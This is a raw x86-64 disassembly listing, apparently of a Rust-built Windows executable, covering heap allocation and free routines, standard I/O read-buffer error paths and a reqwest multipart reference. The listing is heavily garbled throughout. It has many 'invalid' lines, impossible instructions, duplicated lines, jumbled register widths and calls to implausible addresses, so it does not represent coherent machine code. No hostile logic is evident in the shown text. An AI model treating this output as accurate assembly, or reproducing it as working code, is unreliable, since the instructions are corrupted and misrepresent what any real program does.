nop word cs:[rax + rax]
invalid
add rdi, r12
cmp rsi, rdi
mov rcx, rdi
cmova rcx, rsi
invalid
mov qword [rbx + 0x10], rdi
jnp 0x140123761
mov qword [rbx + 0x18], rcx
test r12, r12
je 0x14012386e
cmp rsi, rdi
je 0x14012371a
mov r8, rsi
sub r8, rcx
enter 0xffffffffffff820f, 0x24
add al, byte [rax]
invalid
enter 0xffffffffffff820f, 0x24
add al, byte [rax]
add byte [rcx + rax - 7], cl
add ecx, edi
stc
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov qword [rbx + 0x18], rsi
jae 0x140123795
add byte [rax - 0x77], cl
jae 0x140123795
mov r9, rsi
sub r9, rdi
jb 0x1401239a4
invalid
sbb eax, dword [rdx]
add byte [rax], al
invalid
lea r8, [r15 + rdi]
lea rcx, [rbp - 0x18]
invalid
mov rdx, r14
call fcn.140122970
cmp qword [rbp - 0x18], 0
add byte [rbx + rcx*4 + 0x65], cl
invalid
je case.0x14011ed51.33
pushfq
xlatb
int1
invalid
test r12, r12
je 0x14012386e
mov r13d, r12d
and r13d, 3
invalid
lea rcx, [0x14020ad10]
movsxd rax, dword [rcx + r13*4]
add rax, rcx
jmp rax
mov ecx, esp
shr rcx, 0x20
call fcn.14012f020
cmp al, 0x23
mov r8d, 0x233c0000
jne 0x14012397f
add dword [rax], eax
add byte [rcx - 0x7d], al
std
add dword [rsp + rbp + 0x48], esi
je 0x140123819
mov rcx, rsi
cmp r13d, 1
je 0x140123819
mov rcx, rsi
jmp 0x14012375e
dec dword [rcx + rcx*4 - 0x20]
shr rax, 0x20
and byte [rax - 0x77], cl
int1
and byte [rax - 0x77], cl
int1
cmp eax, 0x23
je 0x14012375e
test byte [rsi - 1], dl
invalid
invalid
test byte [rsi - 1], dl
invalid
push rsi
invalid
jmp 0x14012397f
test dword [rsi + 1], esp
add byte [rax], al
mov r13, qword [r12 - 1]
mov r14, qword [r12 + 7]
mov rcx, r13
mov ecx, ebp
call qword [r14]
cmp qword [r14 + 8], 0
je 0x14012384d
cmp qword [r14 + 0x10], 0x11
jb case.0x1400ea9e6.255
adc dword [rdx + 4], esi
mov r13, qword [r13 - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r13
call qword [sym.imp.KERNEL32.dll_HeapFree]
dec r12
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r12
sbb ecx, dword [rdi]
add byte [rcx], dh
ror byte [rbp - 0x77], cl
loopne 0x14012385c
call qword [sym.imp.KERNEL32.dll_HeapFree]
adc eax, 0x447c6
mov rcx, rsi
mov ecx, esi
int1
mov r14, qword [rbp - 8]
jmp 0x14012375e
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
str word [rax - 0x75]
add byte [rax - 0x75], cl
or eax, 0xf1ae4
test rcx, rcx
jne 0x14012389a
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
add al, 0
test rax, rax
je 0x1401239b8
mov rcx, rax
mov qword [0x140215360], rax
mov dword [0x140215360], eax
mov r8d, reloc.WS2_32.dll_setsockopt
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
nop
add al, 0
nop
add al, 0
test rax, rax
je 0x1401239b8
invalid
mov rsi, rax
movups xmm0, xmmword [str.failed_to_fill_buffer]
movups xmmword [rax], xmm0
movabs rax, 0x726566667562206c
insb byte [rdi], dx
and byte [rdx + 0x75], ah
jne 0x14012392b
jb 0x140123911
mov dword [rsi + 0xd], eax
jne 0x14012392b
jb 0x140123911
jb 0x140123911
mov dword [rsi + 0xd], eax
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
mov ecx, dword [0x140215360]
mov ecx, dword [0x140215360]
test rcx, rcx
jne 0x1401238f8
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
add al, 0
test rax, rax
je 0x1401239c9
mov rcx, rax
mov qword [0x140215360], rax
add eax, 0xf1a68
ror dword [rax - 0x77], 5
add eax, 0xf1a68
push 0x41000f1a
mov eax, 0x18
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
add al, 0
add al, 0
test rax, rax
je 0x1401239c9
mov rdi, rax
mov qword [rax], rsi
xor byte [rax - 0x39], cl
or byte [0x18812391e], dl
or byte [0x18812391e], dl
mov dword [rax + 0x10], reloc.WS2_32.dll_setsockopt
invalid
invalid
add byte [rax], al
invalid
invalid
xor byte [rax - 0x39], cl
or byte [0x18812391e], dl
or byte [0x18812391e], dl
mov dword [rax + 0x10], reloc.WS2_32.dll_setsockopt
invalid
invalid
add byte [rax], al
invalid
add byte [rdi], cl
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
mov dh, 5
int3
add byte [rax - 0x75], cl
or eax, 0xf1a2d
test rcx, rcx
jne 0x140123951
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
add al, 0
test rax, rax
je 0x1401239da
mov rcx, rax
mov qword [0x140215360], rax
invalid
mov r8d, 0x18
sbb byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx], dh
sar bh, cl
adc eax, 0x446d9
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1401239da
mov r12, rax
mov qword [rax], rdi
lea rax, fcn.140022090
or al, byte [rax]
or al, byte [rax]
mov qword [r12 + 8], rax
mov byte [r12 + 0x10], 0x25
inc r12
mov rax, r12
mov eax, esp
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop rbp
invalid
pop rbp
pop r14
pop r15
pop rbp
ret
mov edx, esi
call fcn.140160e60
invalid
add eax, dword [rax]
add eax, dword [rax]
ud2
lea r8, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_std_srcio_readbuf.rs
mov rcx, rdi
mov rdx, rsi
bnd call fcn.140161190
add eax, dword [rax]
ud2
mov ecx, 1
mov edx, reloc.WS2_32.dll_setsockopt
call fcn.14015d7f0
sahf
add eax, dword [rax]
sahf
add eax, dword [rax]
ud2
mov ecx, 8
mov edx, 0x18
add byte [rax], al
invalid
add byte [rax], al
add byte [rdx + 0x18], bh
add byte [rax], al
invalid
call fcn.14015d7f0
ud2
sbb byte [rsi + 0xb0f0003], bl
mov qword [rbp - 8], rdi
mov ecx, 8
or byte [rax], al
add byte [rax], al
jge 0x1401239d6
mov edx, 0x18
sbb byte [rax], al
add byte [rax], al
call fcn.14015d7f0
ud2
adc byte [rbp + 0x41], dl
push rdi
push r14
push r13
push rbp
push rbp
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x40]
push 0x40
lea rdx, fcn.140022090
adc eax, 0xaedd8
mov rcx, qword [rbp - 8]
call fcn.1401372e0
nop
add rsp, 0x28
add esp, 0x28
add esp, 0x28
invalid
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
pop rbp
ret
int3
push r13
push r12
push rsi
push rdi
push rbp
push rbx
jl 0x140123a86
xor byte [rcx + rcx*4 + 0x7c], cl
and al, 0x38
xor r12d, r12d
jmp case.0x14011f9f6.34
invalid
adc ecx, dword [rdi]
invalid
add byte [rax], al
add byte [rax - 0x77], cl
invalid
invalid
call sub.VCRUNTIME140.dll_memset
lea rcx, [rsp + 0x50]
lea ecx, [rsp + 0x50]
mov rdx, r14
cmp dword [rsp + 0x50], 0
mov r13, qword [rsp + 0x58]
je 0x140123b94
add byte [rdi], cl
invalid
add byte [rbx + riz], bh
jne 0x140123d26
adc al, byte [rdx]
add byte [rax], al
cmp ebp, 1
jne case.0x14011f9f6.34
jmp 0x140123b2b
mov rbp, qword [r13 - 1]
mov rsi, qword [r13 + 7]
mov esi, dword [rbp + 7]
mov rcx, rbp
call qword [rsi]
invalid
cmp qword [rsi + 8], 0
je case.0x14011a815.62
invalid
adc dword [rdx + 4], esi
mov rbp, qword [rbp - 8]
mov rcx, qword [0x140215360]
or eax, 0xf180f
xor edx, edx
mov r8, rbp
call qword [sym.imp.KERNEL32.dll_HeapFree]
adc eax, 0x444cc
adc eax, 0x444cc
dec r13
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r13
call qword [sym.imp.KERNEL32.dll_HeapFree]
adc eax, 0x444b7
adc eax, 0x444b7
add cl, ch
or bh, bh
invalid
jmp case.0x14011f9f6.34
mov eax, 0x20
mov rcx, rbx
mov ecx, ebx
mov rdx, rdi
mov edx, edi
call fcn.14015cc80
mov rdi, qword [rbx + 8]
mov r15, qword [rbx + 0x10]
jmp fcn.140123a89
dec dword [rcx + rdi - 0x13]
cmp rbp, r13
mov r12, r13
cmova r12, rbp
test r13, r13
in eax, dx
je 0x140123d0f
in eax, dx
jb 0x140123da3
sub r12, r13
add r15, r13
mov qword [rbx + 0x10], r15
mov dword [rbx + 0x10], edi
mov dword [rbx + 0x10], edi
cmp rdi, qword [rsp + 0x30]
jne case.0x14011f9f6.34
invalid
invalid
invalid
invalid
invalid
jl 0x140123be2
cmp r15, rdi
jne case.0x14011f9f6.34
invalid
invalid
je 0x140123bfb
push rax
lea r15, [rsp + 0x40]
and al, 0x40
lea rbp, [0x14020ad30]
jmp case.0x140122c19.21
invalid
sbb ah, byte [rsi + 0x2e]
nop dword [rax + rax]
mov rax, r13
shr rax, 0x20
cmp eax, 0x23
jne 0x140123d38
test dword [rax], edi
add dword [rax], eax
add byte [rcx - 0x47], al
mov r9d, 0x20
mov r9d, 0x20
mov rcx, r15
mov ecx, edi
mov rdx, r14
lea r8, [rsp + 0x50]
push rax
call fcn.140122970
cmp qword [rsp + 0x40], 0
je 0x140123cc4
add byte [rax], al
dec dword [rax - 0x7d]
jl 0x140123c3e
add byte [rdi], cl
test byte [rdx + 0x4c000000], ah
add byte [rax], al
mov r13, qword [rsp + 0x48]
mov r13, qword [rsp + 0x48]
mov edi, r13d
and edi, 3
movsxd rax, dword [rbp + rdi*4]
add rax, rbp
jmp rax
je 0x140123c74
jmp 0x140123d38
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
cmp byte [r13 + 0xf], 0x23
cmp byte [rbp + 0xf], 0x23
je 0x140123c79
jmp 0x140123d38
call fcn.14012f020
cmp al, 0x23
jne 0x140123d38
add byte [rax], al
invalid
add byte [rax], al
add byte [rbx - 0x788afe01], al
inc dword [rcx]
jne case.0x140122c19.21
cmp edi, 1
jne case.0x140122c19.21
mov rdi, qword [r13 - 1]
mov rsi, qword [r13 + 7]
mov rcx, rdi
call qword [rsi]
cmp qword [rsi + 8], 0
cmp dword [rsi + 8], 0
cmp dword [rsi + 8], 0
je 0x140123caa
cmp qword [rsi + 0x10], 0x11
jb 0x140123c98
adc dword [rdx + 4], esi
mov rdi, qword [rdi - 8]
mov edi, dword [rdi - 8]
mov edi, dword [rdi - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
add al, 0
dec r13
mov rcx, qword [0x140215360]
invalid
invalid
add byte [rcx], dh
ror byte [rbp - 0x77], cl
call 0x1837b52bc
add al, 0
jmp case.0x140122c19.21
mov r13, qword [rsp + 0x48]
and al, 0x48
test r13, r13
je 0x140123d48
cmp r13, 0x21
jae case.0x1400c44f6.403
and dword [rdi], ecx
xor dword [rbp + 0x48000000], 0xffffff89
invalid
mov rcx, rbx
mov rdx, qword [rsp + 0x30]
mov r8, r13
call fcn.14015cc80
mov rdi, qword [rbx + 8]
mov r15, qword [rbx + 0x10]
mov rcx, qword [rbx]
mov ecx, dword [rbx]
add rcx, r15
lea rdx, [rsp + 0x50]
lea edx, [rsp + 0x50]
lea edx, [rsp + 0x50]
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
add r15, r13
mov qword [rbx + 0x10], r15
jmp case.0x14011f9f6.34
sub r15, qword [rsp + 0x38]
mov rax, qword [rsp + 0x28]
mov qword [rax + 8], r15
mov qword [rax], 0
add bl, ch
invalid
mov rax, qword [rsp + 0x28]
mov qword [rax + 8], r13
mov qword [rax], 1
jmp fcn.140123d60
mov rcx, qword [rsp + 0x28]
mov qword [rcx + 8], r13
mov eax, 1
jmp 0x140123d5d
mov rax, qword [rsp + 0x30]
sub rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x28]
mov qword [rcx + 8], rax
xor eax, eax
mov qword [rcx], rax
invalid
invalid
lea r8, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_std_srciomod.rs
mov edx, 0x20
and byte [rax], al
add byte [rax], al
and byte [rax], al
add byte [rax], al
mov rcx, r13
call fcn.140160f40
rol dword [rbx], 1
add byte [rdi], cl
invalid
lea r8, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_std_srcio_readbuf.rs
mov rcx, r12
mov rdx, rbp
call fcn.140160f40
ud2
int3
sub rsp, 0x20
mov rsi, rcx
cmp qword [rcx + 0x18], 0
sbb byte [rax], al
sbb byte [rax], al
je 0x140123de8
mov r8, qword [rsi + 0x10]
adc byte [rax - 0x75], r9b
or eax, 0xf1580
invalid
invalid
invalid
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
add byte [rax - 0x75], cl
jle 0x140123e14
mov rdi, qword [rsi + 0x28]
mov rbx, qword [rsi + 0x38]
test rbx, rbx
je case.0x140103151.173
lea r14, [rdi + 8]
mov r15, qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140123e19
nop word cs:[rax + rax]
add r14, 0x18
dec rbx
je case.0x140103151.173
cmp qword [r14], 0
je 0x140123e10
or eax, 0xf1536
xor edx, edx
adc eax, 0xd231000f
call r15
jmp 0x140123e10
cmp qword [rsi + 0x30], 0
je 0x140123e4a
invalid
adc cl, byte [rax - 0x75]
or eax, 0xf1521
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
add al, 0
add al, 0
lea rcx, [rsi + 0x40]
call fcn.140121830
mov rdi, qword [rsi]
test rdi, rdi
test rdi, rdi
test edi, edi
je 0x140123e94
mov rsi, qword [rsi + 8]
mov rcx, rdi
stc
call qword [rsi]
cmp qword [rsi + 8], 0
cmp dword [rsi + 8], 0
invalid
je 0x140123e94
cmp qword [rsi + 0x10], 0x11
jb 0x140123e76
mov rdi, qword [rdi - 8]
clc
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
add rsp, 0x20
invalid
pop rbx
and byte [rbx + 0x5f], bl
pop rdi
pop rsi
pop r14
pop r15
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
add al, 0
add al, 0
nop
add rsp, 0x20
invalid
invalid
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rdi
pop rdi
ret
int3
int3
sub rsp, 0x20
mov rax, r8
ror byte [rax - 0x77], 0xce
ror byte [rax - 0x77], 0xce
add rax, 0xfffffffffffffff0
shl r9, 4
loope 0x140123ec7
loope 0x140123ec7
lea r8, [0x140204680]
add eax, 0xe07b6
invalid
nop word [rax + rax]
nop dword [rax + rax]
test r9, r9
je 0x140123eec
mov r10d, dword [rax + 0x10]
mov edx, dword [rax + 0x10]
add rax, 0x10
add r9, 0xfffffffffffffff0
test r10, r10
je 0x140123ed0
invalid
invalid
mov r8, qword [rax + 8]
jmp 0x140123eef
xor r10d, r10d
mov rcx, rsi
int1
int1
mov r9, r10
call fcn.140121930
mov rax, rsi
add rsp, 0x20
invalid
invalid
invalid
pop rsi
ret
int3
in al, dx
and byte [rax - 0x77], cl
invalid
invalid
mov rsi, rcx
call fcn.1401245c0
mov rax, rsi
add rsp, 0x20
add esp, 0x20
invalid
add esp, 0x20
pop rsi
ret
int3
push rsi
push rsi
push rdi
push rbx
sub rsp, 0x48
mov rsi, r8
invalid
mov rdi, rcx
mov edi, ecx
invalid
mov edi, ecx
mov rbx, qword [r8 + 0x10]
lea rcx, [rsp + 0x20]
and al, 0x20
adc byte [rax - 0x73], cl
and al, 0x20
call fcn.1401245c0
jae case.0x1400e91e9.290
add byte [rax], al
mov r14, qword [rsi + 0x10]
jbe case.0x1400e8a72.286
mov r8, r14
sub r8, rbx
sub eax, ebx
sub eax, ebx
jb 0x140123fb0
mov rdx, qword [rsi]
add rdx, rbx
lea rcx, [rsp + 0x30]
and al, 0x30
and al, 0x30
and al, 0x30
call fcn.14005a400
cmp qword [rsp + 0x30], 0
jl case.0x1400e97e6.274
xor byte [rax], al
je 0x140123f80
cmp qword [rsp + 0x20], 0
cmp dword [rsp + 0x20], 0
je 0x140123f8d
mov rax, qword [rsp + 0x28]
jmp 0x140123f94
movups xmm0, xmmword [rsp + 0x20]
and al, 0x20
movups xmmword [rdi], xmm0
mov rbx, r14
jmp 0x140123f9f
lea rax, [0x1401db1a0]
or eax, dword [rax]
mov qword [rdi + 8], rax
mov dword [rdi + 8], eax
mov qword [rdi], 1
add byte [rax], al
mov qword [rsi + 0x10], rbx
mov rax, rdi
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r14
ret
lea r8, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_std_srciomod.rs
lea eax, [0x1401d4848]
mov rcx, rbx
mov rdx, r14
call fcn.140160e60
add eax, dword [rax]
ud2
int3
push rdi
push rbp
push rbx
sub rsp, 0x38
test r8, r8
je case.0x1400e4103.338
mov rsi, r8
mov rdi, rdx
mov edi, edx
mov edi, edx
mov rbx, rcx
mov r15, qword [rcx]
cmp dword [rbp + rcx*4 + 0x74], ecx
and al, 0x28
lea rbp, [0x14020ad40]
jmp case.0x14011ed51.47
add byte [rax - 0x7b], cl
test byte [rdi], 0x84
and eax, dword [rcx]
add byte [rax], al
test rsi, rsi
je case.0x1400e4103.338
test r15, r15
je 0x140124151
nop dword [rax + rax]
test r15, r15
je 0x1401240b3
mov r9, rsi
sub r9, r13
jb 0x14012416c
invalid
lea r8, [rdi + r13]
mov rax, qword [rbx + 8]
mov rcx, r14
or byte [rcx + rcx*4 - 0xf], cl
mov rdx, r15
call qword [rax + 0x18]
cmp qword [rsp + 0x28], 0
mov r12, qword [rsp + 0x30]
jne 0x140124090
add r13, r12
cmp r13, rsi
cmp ebp, esi
cmc
je 0x1401240b0
test r12, r12
jne case.0x1400c44f6.405
mov rcx, rbx
call fcn.140121a40
invalid
fcos
invalid
mov r15, qword [rbx]
jmp case.0x1400c44f6.405
add byte [rax], 0
add byte [rax], al
mov r13d, r12d
and r13d, 3
in eax, 3
in eax, 3
movsxd rax, dword [rbp + r13*4]
add rax, rbp
jmp rax
mov r13, rsi
mov ebp, esi
test r13, r13
je 0x140124151
mov rax, rsi
sub rax, r13
jb 0x140124180
add rdi, r13
mov rsi, rax
mov esi, eax
jmp 0x140124020
jne 0x140124158
cmp r13d, 1
jne 0x140124020
invalid
invalid
invalid
mov r13, qword [r12 - 1]
mov ebp, dword [rsp - 1]
dec dword [rcx - 0x75]
insb byte [rdi], dx
and al, 7
invalid
mov rbp, qword [r12 + 7]
mov rcx, r13
call qword [rbp]
push rbp
add byte [rax - 0x7d], cl
jge 0x140124113
invalid
je 0x14012412b
push rbp
add byte [rax - 0x7d], cl
jge 0x140124113
add byte [rbp + rbx + 0x48], dh
cmp dword [rbp + 0x10], 0x11
jge case.0x140103151.176
invalid
cmp qword [rbp + 0x10], 0x11
adc byte [rcx], dl
jb 0x140124119
mov r13, qword [r13 - 8]
mov rcx, qword [0x140215360]
or eax, 0xf1240
xor edx, edx
ror byte [rbp - 0x77], cl
mov r8, r13
call 0x17f0f5728
add al, 0
call qword [sym.imp.KERNEL32.dll_HeapFree]
dec r12
mov rcx, qword [0x140215360]
xor edx, edx
adc cl, byte [rdi]
add byte [rcx], dh
ror byte [rbp - 0x77], cl
mov r8, r12
invalid
mov r8, r12
call qword [sym.imp.KERNEL32.dll_HeapFree]
adc eax, 0x43ee8
lea rbp, [0x14020ad40]
lea ebp, [0x14020ad40]
jmp 0x140124020
inc dword [rbp + 0x31]
in al, 0xeb
invalid
xor r12d, r12d
jmp 0x140124158
lea r12, str.failed_to_fill_whole_buffer
lea esp, [0x1401d4900]
invalid
mov rax, r12
add rsp, 0x38
add esp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop rsp
pop r13
pop r14
pop r15
ret
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.22_src_blockingmultipart.rs
or eax, dword [rax]
mov rcx, r13
mov rdx, rsi
bnd call fcn.140160e60
jmp 0x12904cac2
bnd call fcn.140160e60
int3
ud2
lea r8, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_std_srciomod.rs
add eax, 0xb0791
invalid
or eax, dword [rax]
mov rcx, r13
mov ecx, ebp
mov rdx, rsi
call fcn.140160e60
int3
add eax, dword [rax]
add byte [rdi], cl
invalid
int3
add byte [rdi], cl
or ecx, esp
int3
int3
int3
invalid
mov esi, dword [rdx + 8]
stc
fisttp qword [rdi]
invalid
test ebp, ebp
add edi, ebx
test ebp, ebp
and byte [rbp + 0x31], al
in al, 0x48
xor esp, esp
lea ebx, [rsp + 0x28]
add byte [rax - 0x7b], cl
in eax, dx
test byte [rdx + 0x4d000000], al
mov ecx, ebp
sub ecx, esp
add byte [rdi - 0x73], cl
add al, 0x27
mov ecx, ebx
push rax
sbb byte [rax - 0x7d], cl
jl case.0x14010e86a.97
sub byte [rax], al
ror byte [rcx + rcx*4 - 0xf], 0xe8
call 0x18a124230
mov ebp, dword [rsi]
jmp 0x140124210
mov dword [rsp + 0x20], ebx
in al, 0xeb
xor al, 0x49
mov rax, qword [r14 + 8]
mov eax, edi
and al, 0x20
mov ecx, esp
mov edx, ebp
mov edx, esi
add eax, dword [rax]
add byte [rdi], cl
or ecx, dword [rbp + rcx*4 + 5]
add eax, 0xb05da
invalid
invalid
add byte [rax - 0x77], cl
invalid
retf
int3
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x38
sub esp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp], 0xfffffffffffffffe
mov r14, qword [rdx + 0x10]
mov esi, dword [rdx + 0x10]
cmp qword [rdx + 8], r14
jne 0x14012434d
xor ebx, ebx
mov rax, rbx
add rsp, 0x38
pop rbx
fmul dword [rax - 0x7d]
invalid
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
pop rbp
ret
mov rsi, rdx
mov rdi, rcx
mov edi, ecx
invalid
lea r15, [0x14020ad50]
lea edi, [0x14020ad50]
mov r12, qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140124384
nop word cs:[rax + rax]
cmp qword [rsi + 0x10], r14
je case.0x1400e8b28.290
mov r14, qword [rsi + 0x10]
mov esi, dword [rsi + 0x10]
cmp qword [rsi + 8], r14
je case.0x140122c19.28
invalid
or byte [rbx + rsi*4 + 0x48], dh
mov bl, 0x48
mov rcx, rdi
mov ecx, edi
mov rdx, rsi
call case.0x140107e15.136
invalid
invalid
dec dword [rax - 0x7b]
invalid
je 0x140124370
invalid
mov rbx, rax
mov r14d, ebx
and r14d, 3
and esi, 3
and esi, 3
movsxd rax, dword [r15 + r14*4]
mov bh, 0x4c
add eax, edi
clc
add rax, r15
clc
jmp rax
cmp al, 0x23
and esi, dword [rsi + rdx - 0x15]
mov byte [rax - 0x77], cl
mov rcx, rbx
je 0x1401243c5
jmp 0x140124339
mov rcx, rbx
shr rcx, 0x20
call fcn.14012f020
add byte [rax], al
add byte [rax], al
add byte [rbx + riz], bh
cmp al, 0x23
jne 0x140124339
je 0x1401243c2
invalid
invalid
inc dword [rcx - 0x7d]
inc byte [rcx]
cmp r14d, 1
jne 0x14012437a
jmp case.0x140107e15.141
sbb ecx, dword [rax - 0x77]
fmul dword [rax - 0x3f]
call 0x1640ac6f7
cmp eax, 0x23
cmp eax, 0x23
je 0x14012437a
jmp 0x140124339
jnp 0x1401243f0
and ecx, dword [rdi]
test dword [rcx - 1], edx
push rcx
invalid
invalid
push rcx
invalid
mov rcx, r14
call qword [r13]
call qword [rbp]
cmp qword [r13 + 8], 0
je 0x140124418
add byte [rdx + rbx + 0x49], dh
cmp dword [rbp + 0x10], 0x11
adc byte [rcx], dl
cmp qword [r13 + 0x10], 0x11
adc byte [rcx], dl
jb 0x140124409
add al, 0x4d
mov esi, dword [rsi - 8]
mov r14, qword [r14 - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r14
call r12
push rax
invalid
add byte [rcx], dh
ror byte [rbp - 0x77], cl
invalid
dec rbx
mov rcx, qword [0x140215360]
invalid
invalid
add byte [rcx], dh
invalid
invalid
mov r8, rbx
call r12
jmp 0x14012437a
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
str word [rax - 0x75]
or eax, 0xf0f23
test rcx, rcx
leave
jne 0x14012445b
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
call 0x188124884
test eax, eax
je 0x14012453a
add byte [rax - 0x77], cl
ror dword [rax - 0x77], 5
invalid
invalid
invalid
mov rcx, rax
mov qword [0x140215360], rax
add eax, 0x41000f0f
mov eax, reloc.WS2_32.dll_setsockopt
invalid
add byte [rax], al
invalid
mov r8d, reloc.WS2_32.dll_setsockopt
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
adc eax, 0x43bcf
test rax, rax
je 0x14012453a
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
invalid
mov rsi, rax
movups xmm0, xmmword [str.failed_to_fill_buffer]
in al, 4
or eax, dword [rax]
movups xmmword [rax], xmm0
movabs rax, 0x726566667562206c
mov eax, 0x7562206c
jb 0x1401244d2
mov dword [rsi + 0xd], eax
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
leave
leave
jne 0x1401244b9
sbb edi, edi
adc eax, 0x43b8a
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14012454b
mov rcx, rax
mov qword [0x140215360], rax
add eax, 0xf0ea7
add eax, 0xf0ea7
mov r8d, 0x18
sbb byte [rax], al
add byte [rax], al
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
cmp eax, dword [rax + rax]
cmp eax, dword [rax + rax]
test rax, rax
je 0x14012454b
invalid
mov rdi, rax
mov qword [rax], rsi
mov dword [rax], esi
mov qword [rax + 8], reloc.WS2_32.dll_setsockopt
mov qword [rax + 0x10], reloc.WS2_32.dll_setsockopt
add byte [rax], al
add byte [rax], al
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
or eax, 0xf0e70
jo 0x1401244fc
str word [rax - 0x7b]
leave
test rcx, rcx
jne 0x14012450a
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
add byte [rax - 0x7b], cl
sal byte [rsp + rbx*2 + 0x48], 0x89
pop rsp
mov rcx, rax
invalid
invalid
invalid
push rsi
invalid
test rax, rax
test eax, eax
je 0x14012455c
mov rcx, rax
mov ecx, eax
mov qword [0x140215360], rax
mov r8d, 0x18
sbb byte [rax], al
add byte [rax], al
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
and byte [rbx], bh
add al, 0
test rax, rax
je 0x14012455c
mov rbx, rax
mov qword [rax], rdi
lea rax, fcn.140022090
lea eax, [0x1401d27e8]
mov qword [rbx + 8], rax
mov byte [rbx + 0x10], 0x25
inc rbx
jmp 0x140124339
invalid
invalid
adc byte [0x129d6447e], ah
invalid
mov ecx, 1
mov edx, reloc.WS2_32.dll_setsockopt
invalid
add byte [rax], al
invalid
add byte [rax], al
add byte [rdx + 0x15], bh
invalid
add byte [rax], al
invalid
add al, ch
call fcn.14015d7f0
cmpsd dword [rsi], dword [rdi]
xchg edx, eax
add eax, dword [rax]
ud2
mov ecx, 8
mov edx, 0x18
call fcn.14015d7f0
xchg edx, eax
add eax, dword [rax]
xchg edx, eax
add eax, dword [rax]
ud2
or ecx, dword [rax - 0x77]
jge case.0x1400c44f6.416
mov qword [rbp - 8], rdi
mov ecx, 8
or byte [rax], al
add byte [rax], al
mov edx, 0x18
call fcn.14015d7f0
invalid
xchg edx, eax
add eax, dword [rax]
adc dword [rdx + 0xb0f0003], 0x66666666
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
xchg edx, eax
add eax, dword [rax]
ud2
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
push r13
push rbp
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x30]
lea rdx, fcn.140022090
loop 0x1401245a9
add byte [rax - 0x75], cl
clc
mov rcx, qword [rbp - 8]
call fcn.1401372e0
add dword [rax], eax
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop r14
pop r15
pop rbp
ret
int3
int3
push rdi
push r14
push r13
push r12
push rsp
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xa8
test al, 0
add byte [rax], al
movaps xmmword [rsp + 0x90], xmm6
mov rbx, r8
mov r14, rdx
mov esi, edx
mov esi, edx
mov qword [rsp + 0x20], rcx
mov rbp, qword [r8 + 8]
mov rsi, qword [r8 + 0x10]
mov esi, dword [rax + 0x10]
mov esi, dword [rax + 0x10]
jo 0x1401245fe
xor edi, edi
lea r12, [rsp + 0x40]
lea esp, [rsp + 0x40]
lea esp, [rsp + 0x40]
xorps xmm6, xmm6
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x38], rsi
je 0x140124625
invalid
sub byte [rax - 0x77], cl
mov dword [rsp + 0x38], esi
je 0x140124625
cmp byte [rcx - 0x77], cl
imul ebx
jmp case.0x140122c19.34
invalid
invalid
invalid
mov r15, rsi
jmp case.0x140122c19.34
mov rax, rsi
shr rax, 0x20
cmp eax, 0x23
clc
